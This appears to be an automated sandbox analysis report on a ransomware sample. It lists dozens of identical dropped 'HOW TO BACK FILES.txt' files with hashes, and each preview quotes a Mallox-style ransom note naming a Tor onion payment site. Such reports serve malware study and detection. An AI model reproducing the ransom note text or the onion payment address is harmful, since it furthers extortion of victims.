Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Vault\AC658CB4-9126-49BD-B877-31EEDAB3F204\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Vault\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\WDF\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\WinMSIPC\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\WinMSIPC\Server\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection\Temp\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows Security Health\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows Security Health\Logs\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows\Start Menu\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\7-Zip\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessibility\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\AutoItX\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\Extras\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\AutoIt v3\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
